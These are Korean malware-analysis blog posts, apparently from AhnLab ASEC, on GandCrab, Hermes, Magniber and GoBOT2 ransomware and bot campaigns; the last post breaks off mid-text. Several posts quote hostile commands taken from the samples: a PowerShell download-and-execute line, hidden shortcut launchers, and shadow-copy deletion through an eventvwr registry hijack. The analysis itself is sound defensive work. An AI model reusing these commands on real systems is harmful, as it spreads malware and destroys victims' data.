2018년 7월 9일 보안업체 Fortinet은 자사 블로그를 통해 GandCrab v4.0에 대한 암호화 차단방법을 공유하였다. 안랩 ASEC은 해당 방식이 최근 국내에서 유포되고 있는 GandCrab v4.1 및 v4.1.1 버전에서도 유효함을 확인하였으며, 이러한 정보를 바탕으로 암호화 방지툴을 제공하여 국내 사용자 피해를 사전에 차단하고자 한다.


- [참고] https://www.fortinet.com/blog/threat-research/gandcrab-v4-0-analysis--new-shell--same-old-menace.html


GandCrab v4.x 랜섬웨어는 네트워크 공유폴더의 파일들도 암호화함으로 이전 버전에 비해 더 큰 피해가 우려된다. Fortinet 블로그에 언급된 암호화 차단방식은 "Common AppData" 폴더에 특별한 규칙을 갖는 8자리 이름의 *.lock 파일이 존재할 경우, 랜섬웨어가 종료하는 코드를 역으로 이용한 것이다.


암호화를 사전에 차단하기 위한 *.lock 파일의 위치 및 파일명 생성규칙은 다음과 같다.

  • 폴더: CSIDL_COMMON_APPDATA
    • Win XP: C:\Documents and Settings\All Users\Application Data
    • Win 7, 8, 10: C:\ProgramData
  • 파일: 426BD648.lock (예제)
    • 파일명은 루트 드라이브의 볼륨정보를 바탕으로 생성되어 사용자마다 다를 수 있음.
  • 툴 사용방법
    • 첨부한 실행파일을 다운로드 받은 후, 오른쪽 마우스 클릭하여 '관리자 권한으로 실행'
    • 아래와 같이 해당 폴더(Common AppData)에 *.lock 파일이 생성됨을 확인

[그림-1] Win7 환경에서 파일 생성위치


아래의 그림은 GandCrab v4.x에서 lock 파일명을 생성하는 방식에 대한 코드로 이 정보를 통해 툴이 제작되었다.



[그림-2] *.lock 파일명 생성코드


GandCrab v4.x에서 암호화 제외 파일명은 다음과 같다.


desktop.ini, autorun.inf, ntuser.dat, iconcache.db, bootsect.bak, boot.ini, ntuser.dat.log, thumbs.db, KRAB-DECRYPT.html, KRAB-DECRYPT.txt, CRAB-DECRYPT.txt, ntldr, NTDETECT.COM, Bootfont.bin


GandCrab v4.x에서 암호화 제외 폴더명은 다음과 같다.


\ProgramData\

\IETldCache\

\Boot\

\Program Files\

\Tor Browser\

\All Users\

\Local Settings\

\Windows\


GandCrab v4.x에서 암호화 제외 확장자는 다음과 같다.


 .ani .cab .cpl .cur .diagcab .diagpkg .dll .drv .lock .hlp .ldf .icl .icns .ico .ics .lnk .key .idx .mod .mpa .msc .msp .msstyles .msu .nomedia .ocx .prf .rom .rtp .scr .shs .spl .sys .theme .themepack .exe .bat .cmd .gandcrab .KRAB .CRAB .zerophage_i_like_your_pictures


V3제품에서는 현재 유포되는 GandCrab v4.x 유형에 대해 아래와 같이 진단하고 있다.

- 행위진단: Malware/MDP.Ransom
- 파일진단: Trojan/Win32.Gandcrab (2018.07.05.03)


Posted by 분석팀

최근 SMB 취약점을 이용한 악성코드가 국내 사용자를 대상으로 다시 확산되면서 경각심을 주고 있다. SMB 취약점은 작년 WannaCrypt 랜섬웨어(http://asec.ahnlab.com/1067)가 확산되면서 전 세계적으로 이슈된 OS 취약점으로 대대적으로 패치가 이루어졌지만몇몇 중소기업이나 복지기관 그리고 결제시스템에 필요한 POS단말기 등 호환성을 위해 아직 패치되지 않은 낮은 버전의 OS를 사용 중인 시스템들은 해커들로부터 공격 대상이 되고 있다.


대표적으로 6월 말쯤 발생한 POS장비 인터넷 마비 사건 또한 이 취약점을 통해 공격을 받은 것으로 확인되었으며 현재 고객사로부터 관련 피해들이 잇따라 접수되고 있어 취약점 패치가 절실하다. 이 취약점을 통해 유포되는 악성코드의 형태로는 Genasom 랜섬웨어와 사용자 몰래 CPU 자원을 사용해 코인 채굴 행위를 하는 Miner 등이 주로 확인되었다.


자사의 행위 진단으로 탐지된 리포트에 의하면 올해 0707일부터 이 취약점을 이용한 악성코드가 갑자기 급증 되어 최대 1600여건 이상 탐지되고 있음을 확인할 수 있다. 따라서 타겟이 되는 시스템은 취약점 패치 및 보안 업데이트가 필요하다.


[그림 1. SMB 취약점을 이용한 악성코드 대상 탐지 건수]


안랩 제품에서는 악성코드들을 다음과 같이 진단하고 있다.

파일 진단 : Trojan/Win32.Genasom (2017.11.28.00), Trojan/Win32.Agent (2018.07.10.00)
행위 진단 : Malware/MDP.DriveByDownload

[취약점 패치]


Posted by 분석팀

지난해 말부터 시작하여 꾸준히 유포되고 있는 헤르메스 랜섬웨어 2.1은 기능적으로 큰 변화가 없으며, 이에 따라 구현된 내부 PE(Portable Executable) 파일도 유사한 형태를 가진다. 하지만 외형의 경우 아이콘이나 무의미한 문자열 같은 리소스, 데이터가 랜덤하게 다양한 값을 가지기 때문에 형태 뿐만 아니라 크기까지도 매우 상이한 형태로 유포되었다.


최근 유포되고 있는 헤르메스 랜섬웨어 2.1의 경우 실제 랜섬웨어의 기능을 담당하고 있는 내부 PE 파일은 과거와 유사하지만 외형적으로는 큰 차이를 보인다. C / C++로 개발된 과거의 형태와는 달리 개발 언어 자체가 변경되었는데, Visual Basic 6.0 ( N-Code : Native ) 으로 만들어진 외형을 가진 채로 유포 중이다.


개발 언어는 변경되었지만 그 기능은 동일한데, 쓰레기 코드를 거친 후 결국 암호화되어 저장된 실제 헤르메스 PE를 복구하고 메모리에 새로 쓰는 RunPE 방식으로 구현되어 있다.


 

v2.1 초기 형태

v2.1 이후

 v2.1 최신 형태

기간 

2017년 10월 경

2018년 상반기

2018년 7월 경

외형

C /C++

C /C++

  Visual Basic 6.0 

 내부 PE

 Hermes Ransomware v2.1

(확장자를 .HRM으로 변경)

Hermes Ransomware v2.1
(확장자 변경 X)

Hermes Ransomware v2.1
(확장자 변경 X)

특징

 RunPE 방식으로 실제 PE 로드 

 RunPE

 RunPE



v2.1 초기 형태


초기 버전의 경우 다음과 같은 쓰레기 코드로 시작한다.


[그림1]  쓰레기 코드(Garbage Code)


이후 복호화 루틴을 거쳐 실제 PE를 복구한 후 메모리에 새로 쓰고 다시 실행하는 RunPE 방식이 사용된다.

[그림2]  복호화 루틴 및 복호화 된 실제 헤르메스 PE




VB6 외형을 가진 최신 헤르메스 v2.1


일반적으로 VB6 외형을 가진 악성코드의 경우 Form 초기화 함수 ( Form_Initialize ) 등에 실제 코드를 숨겨놓는 경우가 많지만 헤르메스는 Form이 삽입만 되어있을 뿐 폼과 관련된 이벤트 루틴은 존재하지 않는다.


[그림3]  랜덤 문자열 이름을 갖는 Form



즉 GUI 형태로 보이지만 Console 모드로 컴파일되었으며, 이에 따라 아래와 같이 실제 EP(Entry-Point)를 확인할 수 있다. 아래의 그림은 VB파일에서 사용되는 구조체 정보를 나타내며 구조체 시작+0x2C에 위치한 멤버가 Console Mode에서 EP 주소(0x004283A4)를 나타낸다.

[그림4]  ThunRTMain() 호출 전 push하는 구조체



진행하다 보면 여러 쓰레기 코드들을 확인할 수 있다.

[그림5]  시작부터 마지막 부분까지 모두 쓰레기 코드


쓰레기 코드를 지나 실제 복호화 루틴 주소를 획득한 후 CallWindowProcW() 함수를 호출하는데 해당 함수의 인자 중 lpPrevWndFunc에 복호화 루틴의 주소를 넣는다. 이를 통해 CallWindowProcW() API 함수를 호출함으로써 실제 복호화 루틴으로 분기할 수 있다. 이러한 형태는 VB6로 만들어진 RunPE 형태에서 자주 사용되는 방식이다.


[그림6]  CallWindowProcW() 함수를 호출하기 위한 DllFunctionCall()

 


최신 버전의 경우 또한 두 단계의 복호화 루틴이 존재한다. 아래 코드 섹션 상에 존재하는 복호화 루틴은 이전 버전과 같이 복호화 대상이 또 다른 형태의 복호화 루틴 및 데이터 그리고 실제 헤르메스의 PE이다. 


[그림7]  첫 번째 복호화 루틴


실제 헤르메스의 PE에 대한 복호화를 담당하는 두 번째 복호화 루틴은 다음과 같으며 안티 디버깅 및 안티 VM 기법이 존재한다.


[그림8]  Anti-Debugging 및 Anti-VM 기법


IsDebuggerPresent() 함수를 직접 구현하였으며, NtGlobalFlags 값을 획득하여 현재 디버깅 중인지 판단한다. 마지막으로 CPUID를 이용해 현재 CPU가 MMX를 지원하는지 검사한다. 이것은 보통 가상 환경의 CPU가 MMX를 지원하지 않는다는 점을 이용한 Anti VM으로 판단되며 MMX 관련 명령어는 이후에도 사용된다. 


다음으로 문자열 kID1(0x6B494431)을 찾는데 현재 샘플은 오프셋 그리고 메모리 기준에서도 0x89CC에 해당 문자열이 위치한다. (참고로 이 파일은 .text 섹션이 0x1000에서 시작하기 때문에 메모리에 로드된 것과 동일한 형태이다. 즉 File Alignment가 Section Alignment와 마찬가지로 0x1000을 갖는다)


[그림9]  "kID1" 시그니처 문자열

 


복호화 시작위치를 찾는데 기준이 되는 문자열 "kID1" 이후부터 주어진 크기 만큼 할당한 메모리에 복사한다. 메모리로 복사된 데이터에는 인코딩되어 있는 PE 외에도 XOR에 사용되는 키 값이 존재한다. 


[그림10]  아래의 XOR 루틴에서 사용되는 키

 

해당 키 값으로 다음과 같이 MMX 명령어를 이용한 복호화가 진행된다.

[그림11]  MOVD, PXOR 등 다수의 MMX 명령어

 

헤르메스의 PE는 두 번 인코딩되어 있기 때문에 위의 복호화 루틴을 지나도 PE를 확인할 수 없다. 마지막으로 0x100 크기의 키를 생성한 후 이 키와 XOR 연산을 거침으로써 PE가 복구된다.


[그림12] 생성된 0x100 크기의 키와 이를 이용한 xor 연산

 

복구된 PE를 확인해 보면 시그니처 "MZ"가 빠진 형태이며 이후에 직접 "MZ"를 추가한다.

[그림13] 'MZ' 시그니처를 추가하는 과정

 

과거 형태가 자가 프로세스에서 메모리를 언매핑한 후 새로 쓰는 방식이었다면, 최신 버전은 자가 프로그램을 자식 프로세스로 실행하여 복호화한 헤르메스 PE를 인젝션하는 방식을 사용한다. CREATE_SUSPENDED 모드로 CreateProcessW()를 실행한 후 자식 프로세스의 바이너리 모듈을 NtUnmapViewOfSection()으로 언매핑한 후 새로 메모리를 할당하여 써 넣는 방식이다.


[그림14] 자가 프로그램을 자식 프로세스로 생성하는 과정

 

이후 부모 프로세스는 종료되며, 자식 프로세스에 인젝션되어 실행되는 헤르메스는 실제 랜섬웨어의 기능을 수행한다. 외형은 바뀌었지만 내부의 실제 헤르메스 PE는 다음 링크에서 분석한 바와 거의 동일하다. [ http://asec.ahnlab.com/1088 ]


하지만 "AhnLab" 폴더명을 제외하고 암호화를 진행하는 것 외에도 AhnLab 관련 스트링이 더 확인 되었다. 다음과 같이 "ah1nl1ab.dll"이라는 라이브러리에 대한 로드를 시도하고 실패 시 종료하는 부분이 추가 된 점이다.


[그림15]  "ah1nl1ab.dll" 라이브러리를 로드하는 부분

 

안랩 제품에서는 헤르메스 랜섬웨어 v2.1의 최신 버전을 다음과 같이 진단하고 있다.


- 파일 진단 : Trojan/Win32.Hermesran  (2018.07.03.06)

- 행위 진단 : Malware/MDP.Ransom.M1171

Posted by 분석팀

갠드크랩(GandCrab) 랜섬웨어는 타 랜섬웨어와 비교하면 그 유포방식이 다양하다. 다양한 유포방식은 브라우저 취약점을 통한 드라이브 바이 다운로드, 정상 소프트웨어 위장, 이메일 문서 첨부방식 등이 확인되었다. 다양한 유포방식에 못지않게 랜섬웨어의 파일 외형 또한 다양한 방식으로 변화를 보이고 있다. 최근 ASEC은 이러한 유포방식을 모니터링 중 파워쉘 스크립트 형태로 동작하는 갠드크랩 랜섬웨어의 유포 정황을 발견했다. 과거에 이와 유사한 형태가 문서파일 내부의 매크로 코드에서 확인된 사례가 있으나, 실행파일에서 파워쉘을 이용한 것이 확인된 것은 이번이 처음이다.


아래 <그림 1>은 갠드크랩 랜섬웨어를 다운로드하는 기능을 수행하는 실행파일(EXE)의 코드 중 일부이다. 해당 실행파일은 파워쉘 커맨드를 실행하는 기능만 수행한다. 


<그림 1. 파워쉘 스크립트를 실행하는 부분>



해당 파워쉘 커맨드는 유포지 서버로부터 랜섬웨어 본체를 사용자 시스템에 생성과정 없이 메모리에서 실행시킨다. 따라서 동작 시, <그림 2>와 같은 프로세스 트리를 보이며, 정상 프로세스인 Powershell.exe가 파일을 암호화하는 프로세스가 된다.


<그림 2. 프로세스 트리>



<표 1>은 <그림 1>에서 사용되는 파워쉘 명령이다. 해당 구문은 공격자 서버로부터 다운로드 받은 파워쉘 스크립트의 특정 함수(Invoke-GandCrab)의 실행을 의미한다. 그리고 Invoke-GandCrab 함수실행 후, 일정 시간(1000000초=270시간)을 대기한다. 이는 파일이 암호화되는 동안 프로세스가 종료되지 못하도록 하기 위함으로 파악된다. 또한 공격자는 교묘하게도 유포할 파워쉘 스크립트의 파일명을 ahnlab.txt로 사용했다.


 파워쉘 명령

 IEX ((new-object net.webclient).downloadstring('http://91.x10.1x4.x4x/ahnlab.txt'));Invoke-GandCrab;Start-Sleep -s 1000000;

<표 1. 파워쉘 스크립트 구동관련 코드>



아래 <그림 3>은 파워쉘 스크립트로 내부에 Invoke-GandCrab 함수가 존재하며, 유포지 서버가 활성화되어 있을경우, <표 1>의 파워쉘 명령으로 해당 함수가 사용자 시스템에서 실행된다. 이처럼 같은 랜섬웨어 일지라도 파일의 유형은 계속해서 다양해질 것으로 예측된다.  


<그림 3. 파워쉘 스크립트 내의 실행함수>




현재 안랩 제품에서는 파워쉘 스크립트로 유포되는 갠드크랩 랜섬웨어를 다음과 같이 진단하고 있다.


  • 파일 진단: Trojan/Win32.Agent(2018.07.05.06)
  • 행위 진단: Malware/MDP.Ransom.M1964

  • 추가로, 최근 정상파일로 위장하여 배포되는 GandCrab은 아래와 같은 파일명들이 확인되었다.

    • windows_7_iso.exe

    • 건축_도면.exe

    • 카트라이더_핵.exe

    • 판도라tv_동영상.exe

    • 무료_mp3_음악.exe

    • ppt_템플릿.exe

    • 태양의_후예.exe

    • 워프레임_캐시.exe

    • 오토_캐드_2010.exe

    • 윈도우7_정품인증.exe

    • 파워포인트_2010.exe

    • 네이버tv_동영상.exe

    • 사이툴_한글판.exe

    • mlb2k12.exe

    • 웹페이지.exe

    • web_동영상.exe

    • 곰오디오_스킨.exe

    • 병맛_전쟁_시뮬레이터.exe

    • 스팀_창작마당.exe

    • 로지텍_드라이버_속도.exe

    • 링크티비.exe

    • 네이버_동영상_편집기.exe

    • 뿌요뿌요_테트리스.exe

    • 일러스트_레이터_cs5.exe


    Posted by 분석팀

    자사에서는 금주 동안 악성 문서가 첨부된 메일을 통해 Hermes v2.1과 GandCrab v4 랜섬웨어를 유포 중임을 확인하였다. 문서는 비밀번호를 필요로 하며, 해당 비밀번호는 아래와 같이 메일에 명시 되어있다



    [그림1] – 악성 문서가 첨부 된 메일


    비밀번호 입력 후 문서가 열리면 매크로를 활성화 하라는 내용을 확인 할 수 있다.



    [그림2] – 암호 입력을 필요로 하는 악성 문서



    [그림3] – 매크로 활성화 유도하는 문서 내용



    매크로가 활성화되면 특정 네트워크에 접속하여 랜섬웨어를 다운로드 후 실행한다.


    다운로드 URL

    http://2*5.**5.*1*.*2/default.exe

    파일 저장 경로 및 이름

    %temp%\qwerty2.exe


    [ 1] – 랜섬웨어 유포 주소 및 저장 경로명



    흥미로운 점은 74일까지는 해당 URL에서 Hermes v2.1을 유포하는 반면, 오늘75일에는 동일 URL에서 GandCrab v4를 유포 중이다. 따라서 해당 문서 실행 시 어제까지는 Hermes v.2.1이 다운로드 되서 실행 된 반면 오늘은 GandCrab v4에 감염 될 수 있다. 또한 두 종류의 랜섬웨어는 동일한 파일 설명, 제품 이름 및 중국어를 언어로 사용하는 등의 유사한 버전 정보를 사용하고 있다.



    [그림 4] – 유사 버전 정보 (: GandCrab v4, : Hermes v2.1)


    위의 내용과 같이 동일한 URL에서 유포되고 버전 정보가 매우 유사한 점으로 보아 두 랜섬웨어의 제작자가 동일 할 것으로 추정된다.


    해당 문서는 아래와 같은 파일명으로서 이력서로 위장하여 유포되므로 첨부 파일로 전송 받은 문서 실행 시 주의가 필요하다.


     

    유포 중인 문서 이름 일부

    Danial’s Resume.doc

    Maire’s Resume.doc

    Fiona’s Resume.doc

    Alissa's Resume.doc


    [ 2] – 유포 중 문서 이름 일부



    안랩 제품에서는 위와 같은 문서 및 랜섬웨어를 아래와 같이 진단하고 있다.


    문서

    파일 진단명

    W97M/Downloader (2018.06.30.00)

    랜섬웨어

    실행파일

    파일 진단명

    Trojan/Win32.Hermesran (2018.06.30.00)

    Trojan/Win32.Gandcrab (2018.07.05.05)

    행위 진단명

    Malware/MDP.Ransom.M1171


    [ 3] – 진단명

    Posted by 분석팀

    20186월 초부터 음란물과 함께 악성코드가 활발히 유포되고 있는 것을 확인했다.해당 악성코드는 음란 게시글을 이용해 사용자들에게 *.zip 파일을 다운받게 유도했고, 다운받은 zip을 풀어 실행할 경우 실제 음란 사진 또는 음란 동영상이 실행되어 사용자가 악성코드에 감염된 사실을 인지하지 못하게 한다.


    [그림-1] 620일 자 업로드 된 음란 게시글


       [그림-1]과 같은 게시글에서 파일을 다운로드 후 압축을 풀면 [그림-2] 처럼 *.mp4를 실행하는 바로가기 파일(*.LNK) 하나만 보이지만 폴더 옵션에서 “숨김파일 표시”를 체크하면 [그림-3] 처럼 mp4, lnk, txt 세 가지 확장자를 가진 파일이 존재함을 알 수 있다.


    [그림-2] 6월20일 이전 유포된 악성코드 zip - 숨김파일 표시안함


    [그림-3] 6월20일 이전 유포된 악성코드 zip - 숨김파일 표시


    사용자의 클릭을 유도하는 바로가기 파일의 명령어를 보면 사용자가 인지하지 못하게 실제 *.mp4 동영상 파일도 실행하고, cmd를 이용하여 *.txt를 실행한다참고로 XP의 경우 확장자가 *.txt이면 notepad가 실행되지만 Win7의 경우 파일 구조에 맞게 EXE가 실행된다.


    [그림-4] 바로가기 파일 속성


     %windir%\system32\cmd.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden cmd /c @start 국산순두부.mp4 & cmd /c @start 국산순두부.txt

    [표-1] 바로가기 명령어


    안랩에 수집된 악성코드의 파일명을 보면 자극적인 이름을 사용하고 확장자는 *.txt 를 사용하였다. 실제로 해당 파일들은 64bit 닷넷 악성코드로실행 시 정상 프로세스 명으로 위장한 파일 2개를 생성 및 실행한다실행 된 프로세스는 GoBOT2”이라는 Botnet 이다.


    [그림-5] 안랩에 수집된 파일 중 일부


    620일 기준으로는 바로가기 파일이 VBS파일을 실행시키고, VBS파일이 동영상 및 악성코드를 실행시키는 구조로 변화했다.



    [그림-6] 6월 20일 수집된 zip 파일


    %windir%\system32\cmd.exe hidden cmd /c @start 조건처음이야.vbs

    [표-2] 6월 20일 수집된 바로가기 파일 명령어

    Set WshShell = WScript.CreateObject("WScript.Shell")

    return = WshShell.Run ("cmd /c @start 조건처음이야.mp4 & cmd /c @start 조건처음이야.txt" ,0 ,true)

    [표-3] 6월 20일 수집된 VBS 코드


    바로가기 파일에 의해 실행되는 악성코드는 2016년 이후 부터 랜섬웨어, 마이너류에 많이 사용되어왔. 그러므로 사용자는 늘 인터넷에서 파일을 다운로드 받을 경우 알 수 없는 글에 대해 주의하여야 한다.


    현재 안랩 제품에서는 음란물과 함께 유포되는 악성코드를 다음과 같이 진단하고 있다.


    - Trojan/Win64.Agent(2018.06.10.01)

    - LNK/Runner (2018.06.11.01)

    - LNK/Autorun.Gen (2018.06.15.00)




    Posted by 분석팀

    최근 웹 익스플로잇 킷을 통해 국내에 유포되는 대표적인 랜섬웨어는 매그니베르 랜섬웨어이다. 하지만 최근 그랜드소프트(GrandSoft) 익스플로잇 킷을 통해 갠드크랩 랜섬웨어도 유포되기 시작했다. 그랜드소프트 익스플로잇 킷은 랜섬웨어를 유포하는데 웹사이트 취약점(CVE-2018-8174) 을 사용한다. 따라서 Internet Explorer 버전이 취약한 경우, 웹 사이트 접속하는 것 만으로 랜섬웨어에 감염될 수 있다.


    [그림 1] 그랜드소프트(GrandSoft) 익스플로잇 킷 취약점 스크립트


    [그림 1]은 그랜드소프트(GrandSoft) 익스플로잇 킷의 취약점 스크립트이다. CVE-2018-8174 취약점을 사용하여 스크립트 내 포함된 쉘코드를 실행시킨다.




    [그림 2] 쉘코드 기능 (PE 다운로드)


    [그림 2]와 같이 쉘코드는 웹 서버에 접속하여 인코딩된 PE를 다운로드 한다. 다운로드에 사용하는 API는 아래와 같다.


  • winhttp.winhttpcrackurl
  • winhttp.winhttpopen
  • winhttp.winhttpConnect
  • winhttp.winhttpopenrequest
  • winhttp.winhttpSendRequest
  • winhttp.winhttpReceiveReponse
  • winhttp.winhttpQueryHeaders

  • 이후 받아온 데이터를 디코딩하여 [그림 3] 과 같이 %temp% 경로에 "[랜덤숫자].tmp" 형식의 이름으로 파일을 생성하여 저장한다. 


     

    [그림 3] 쉘코드 기능 (파일로 저장)


    쉘코드는 마지막으로 저장된 "[랜덤숫자].tmp" 파일을 [그림 4]와 같이 실행한다. 쉘코드를 통해 실행된 "[랜덤숫자].tmp" 파일은 최종적으로 갠드크랩 랜섬웨어를 다운로드하여 실행시킨다.




    [그림 4] 쉘코드 기능 (PE 실행)


    최종적으로 실행된 갠드크랩 랜섬웨어는 파일 암호화를 수행하고, 감염이 완료되면 [그림 5]와 같이 바탕화면이 변경된다.



     

    [그림 5] 갠드크랩 v3.0 감염 후 변경된 바탕화면



    현재 안랩 제품에서는 GrandSoft EK를 통해 유포되는 갠드크랩 랜섬웨어를 다음과 같이 진단하고 있다.

    • 파일 진단: Trojan/Win32.GandCrab(2018.06.20.00)
    • 행위 진단: Malware/MDP.Execute.M1509



    Posted by 분석팀

    지난 주말(6월 9일) ASEC은 랜섬웨어 유포지 모니터링 작업 중 파일리스 형태의 매그니베르 랜섬웨어의 인젝션 대상이  변경된 것을 확인하였다. 

    매그니베르 랜섬웨어는 이전에 확인된 것 처럼 매그니튜드 익스플로잇 킷을 사용하고 있으며, CVE-2018-8174 취약점을 사용하여 쉘코드를 실행한다.

    실행된 쉘 코드에 의해 매그니베르 랜섬웨어가 동작하면, [그림 1]처럼 실행중인 프로세스 목록 중 [표 1]의 권한이 있는 대상에 인젝션을 수행 한다. 

    이와 같은 방식으로 시스템의 실행중인 프로세스에 따라 다른 프로세스에 인젝션이 되어 암호화 행위를 수행 한다. (기존에는 IE 프로세스 하위에 새로운 프로세스를 실행하여 인젝션하는 구조 임)




    [그림 1] 인젝션 대상 검색


     값

     의미 

     PROCESS_CREATE_THREAD (0x0002)

     Required to create a thread.

     PROCESS_VM_OPERATION (0x0008)

     Required to perform an operation on the address space of a process (see VirtualProtectEx and WriteProcessMemory).

     PROCESS_VM_READ (0x0010)

     Required to read memory in a process using ReadProcessMemory.

     PROCESS_VM_WRITE (0x0020)

     Required to write to memory in a process using WriteProcessMemory.

     PROCESS_QUERY_INFORMATION (0x0400)

     Required to retrieve certain information about a process, such as its token, exit code, and priority class (see OpenProcessToken).


    [표 1] 권한 확인 값 (출처 : MSDN)


    현재(6월 11일)는 인젝션 대상이 "verclsid.exe" 로 다시 변경되어 유포 중에 있으며, 인젝션 대상은 지속적으로 변화할 것으로 추정된다.


    예방방법

    Fileless 랜섬웨어를 예방하기 위해서는 확인되지 않은 페이지 접근을 지양하고 주기적인 보안업데이트가 필요하다.

    1)     원격 코드 실행 취약점 (CVE-2018-8174) 예방

    인터넷 익스플로러 최신 버전 업데이트

    -       https://support.microsoft.com/en-us/help/17621/internet-explorer-downloads

     

    대응

    현재 안랩 제품에서는 Fileless 형태의 랜섬웨어 행위에 대해 다음과 같이 진단하고 있다.

    Malware/MDP.Ransom.M1944

    Malware/MDP.Ransom.M1947


    Reference

    MSDN : https://msdn.microsoft.com/ko-kr/library/windows/desktop/ms684880(v=vs.85).aspx


    Posted by 분석팀

    지난 주말 ASEC은 랜섬웨어 유포지 모니터링 작업 중 파일리스 형태의 랜섬웨어가 갠드크랩에서 매그니베르로 바뀐 것을 확인하였다. 411일 이후 매그니베르 랜섬웨어가 재등장한 것은 53일 만이다.

    매그니베르 랜섬웨어는 매그니튜드 익스플로잇 킷을 사용하는 것을 확인하였으며, 동작 방식은 [그림 1]과 같다.

     

    [그림 1] 파일리스 형태의 매그니베르 랜섬웨어 유포 및 동작 방식

     

    현재까지 확인된 인젝션되는 정상 프로세스는 “notepad.exe, hh.exe, help.exe, ctfmon.exe” 이나 계속해서 인젝션 대상은 변화할 것으로 추정된다.

     

    [그림 2] 인코딩된 랜딩 페이지

     

    [그림 3] 디코딩된 랜딩 페이지의 메인 함수

     

    [그림 2]는 매그니튜드 익스플로잇 킷의 랜딩 페이지로써 인코딩된 형태이며, [그림 3]은 인코딩 페이지를 디코딩 및 난독화를 해제한 그림이다. 해당 스크립트는 CVE-2018-8174 취약점을 사용하여 쉘코드를 실행한다.

     

    [그림 4] CVE-2018-8174에 의해 실행되는 쉘코드

     

    [그림 4]는 취약점 스크립트를 통해 실행되는 쉘코드이다. 쉘코드는 메그니베르 랜섬웨어 DLL을 다운로드 받아 메모리상에서 실행한다. (파일리스 형태)

     

    매그니베르 랜섬웨어 주요 변경사항

    최근에 유포 중인 매그니베르는 과거에 유포되었던 샘플들과 행위가 유사하지만, 파일 암호화 시 사용되는 키와 벡터값이 가변적이며, 해당 키를 공개키로 암호화 하므로 공격자의 개인 키를 알지 못하면 복구할 수 없다.

     

     

    4 8일 유포 샘플

    65일 유포 샘플

    공통점

    감염 PC의 한국어 환경 확인

    랜섬노트 및 코인 지불 사이트 스케줄 등록

    시스템 복원 기능 삭제

    암호화 대상 제외 폴더 동일

    AES-128 Key 대칭키 사용 (CBC모드)

    생성된 뮤텍스 이름을 파일 암호화 확장자로 사용

    차이점

    복호화 가능 여부

    가능

    (복구툴 배포: asec.ahnlab.com/1129)

    불가능

    (공격자의 공개키로 대칭키 암호화)

    [1] 매그니베르 랜섬웨어 주요 기능 비교

     

    변경된 암호화 방식

    복구가 가능했던 지난 매그니베르 랜섬웨어는 파일 내부에 키값을 하드 코딩된 형태로 저장하고 있었다. 하지만 현재 유포 중인 매그니베르 랜섬웨어는 암호화 대상이 되는 파일마다 키와 벡터값을 모두 난수로 생성하고, 내부에 하드 코딩된 RSA 공개키로 해당 키와 벡터값을 모두 암호화 하므로 복구할 수 없다.

     

    [그림 5] 파일 암호화 과정

     

    RSA 공개키를 파일 내부에 저장하고 있기 때문에 공개키를 공격자로부터 받아오는 갠드크랩 랜섬웨어와 다르게 매그니베르 랜섬웨어는 네트워크 통신이 없어도 파일 암호화가 가능하다.

     

    암호화가 완료된 파일의 모습은 [그림 6]과 같다. 파일 암호화는 이전과 같이 AES-128 (CBC 모드)를 사용하였으며, 파일 크기를 0x100000의 단위로 분리하여 암호화하는 것 역시 동일 하였다. 달라진 점은 암호화 파일 끝에 키와 벡터값을 공격자의 공개키로 암호화하여 저장한다는 것이다.

     

    [그림 6] 공격자의 공개키로 암호화된 키와 벡터 (크기 : 0x100)

     

    매그니베르 랜섬웨어의 주요 기능

    감염 PC의 한국어 환경 확인

    이전에 유포되었던 것과 같이 감염 PC의 시스템 언어가 한국어 환경인지 확인 후 동작한다.


    [그림 7] 시스템 언어 환경 체크

     

    랜섬노트 및 코인 지불 사이트 스케줄 등록

    스케줄 등록

    schtasks.exe /create /SC MINUTE /MO 15 /tn ******************** /TR "pcalua.exe -a notepad.exe -c C:\Users\Public\README.txt"

     -> 랜섬노트 15분마다 팝업

    schtasks.exe /create /SC MINUTE /MO 60 /tn ******************* /TR "pcalua.exe -a http://*******************.liveend.space/2345svcvgxek”

     -> 코인 지불 사이트 60분마다 팝업

    [2] 랜섬노트 & 코인 지불 사이트 스케줄 등록

    시스템 복원 기능 삭제

    HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command’ 레지스트리 값에 ‘cmd.exe /c "%SystemRoot%\system32\wbem\wmic shadowcopy delete"’ 명령어를 등록한 후 WinExec 함수를 통해 pcalua.exe –a eventvwr.exe 명령어를 실행함으로써 관리자 권한으로 시스템 복원 기능을 삭제한다.

     

    암호화 대상 제외 폴더 동일

    매그니베르 랜섬웨어의 암호화 대상에서 제외되는 폴더 리스트는 [ 3]과 같다.

    암호화 제외 폴더 리스트

    document and string

    appdata

    local settings

    sample music

    sample pictures

    sample videos

    tor browser

    recycle

    windows

    boot

    intel

    msocache

    perflogs

    program files

    programdata

    recovery

    system volume information

    winnt

    [3] 암호화 제외 폴더 리스트


    [그림 8] 코인 지불 사이트

     

    [그림 9] 매그니베르 랜섬노트

     

    예방방법

    Fileless 랜섬웨어를 예방하기 위해서는 확인되지 않은 페이지 접근을 지양하고 주기적인 보안업데이트가 필요하다.

    1)     원격 코드 실행 취약점 (CVE-2018-8174) 예방

    인터넷 익스플로러 최신 버전 업데이트

    -       https://support.microsoft.com/en-us/help/17621/internet-explorer-downloads

     

    대응

    현재 안랩 제품에서는 Fileless 형태의 랜섬웨어 행위에 대해 다음과 같이 진단하고 있다.

    Malware/MDP.Ransom.M1944


    Posted by 분석팀

    1. 요약

    2018.05.09 오후부터 채용 정보사이트에 기재된 인사담당자를 대상으로 한 이력서 형태의 랜섬웨어가 집중 유포되고 있다. 입사지원자를 사칭한 메일로 인사담당자가 메일 본문에 포함된 링크를 클릭하면 랜섬웨어 다운로드 페이지로 연결된다. 해당 페이지에서 이력서로 위장한 압축 파일을 다운로드 받아 실행 시 GandCrab 랜섬웨어에 감염된다.

    [그림1 유포_경로]

    2. 유포 및 감염 방법

    사회공학 기법을 이용한 스팸메일로 채용 정보사이트에 기재된 채용담당자를 공격대상으로 삼았다. 아래와 같이 이력서엔 소개 글과 함께 이력서를 첨부하였습니다라는 링크 클릭을 유도하는데 이 서버(www.d****aw/doc.php)를 접속할 시 지원자 명의 압축파일을 다운로드 한다.

    [그림2 지원_메일]

    이 압축 파일(min_hee_resume.zip)을 해제하면 스크립트 파일(resume.js)이 존재한다.

    [그림3 압축_파일]

